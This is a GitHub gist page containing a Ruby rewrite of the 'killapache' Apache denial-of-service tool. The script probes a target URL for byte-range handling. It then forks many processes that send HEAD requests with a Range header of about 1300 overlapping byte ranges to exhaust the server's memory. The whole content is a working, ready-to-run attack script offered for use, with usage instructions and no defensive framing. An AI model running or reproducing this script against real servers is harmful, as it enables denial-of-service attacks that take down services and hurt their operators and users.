Skip to content

Instantly share code, notes, and snippets.

@sxua
Created November 30, 2011 23:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sxua/1411952 to your computer and use it in GitHub Desktop.
Save sxua/1411952 to your computer and use it in GitHub Desktop.
Just a try to rewrite killapache.pl
#!/usr/bin/env ruby
require 'rubygems'
require 'net/http'
require 'forkmanager'
def usage
puts "Apache Remote Denial of Service (memory exhaustion)\nusage: ruby killapache.rb <url> [numforks]\nexample: ruby killapache.rb http://www.example.com/images/photo.jpg 50\n"
end
def handle_errors
begin
yield
rescue Errno::ECONNRESET
puts "Error: Connection reset by peer"
rescue Timeout::Error
puts "Error: Connection timeout"
rescue Errno::ECONNREFUSED
puts "Error: Connection refused"
end
end
def killapache
puts "Sending HEAD requests to #{@url.host} using #{@numforks} forks...\n"
@pm = Parallel::ForkManager.new(@numforks)
0.upto(@numforks) do |n|
@pm.start do
handle_errors { @http.head(@url.path, @headers) }
end
end
@pm.wait_all_children
puts "Sent.\n"
end
def testapache
handle_errors do
response = @http.head(@url.path, @headers)
response.class.to_s =~ /Partial/ ? true : false
end
end
if ARGV.empty?
usage
exit
else
@url, @numforks = ARGV
@url = URI.parse(@url)
@numforks = (@numforks || 50).to_i
@headers = { 'Range' => "bytes=0-" + (0..1300).map { |k| ",5-#{k}" }.join, 'Accept-Encoding' => 'gzip' }
@http = Net::HTTP.new(@url.host, @url.port)
@http.open_timeout = @http.read_timeout = 15
puts testapache ? "This host is ready to recieve.\n" : "This host is protected.\n"
exit unless testapache
killapache
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment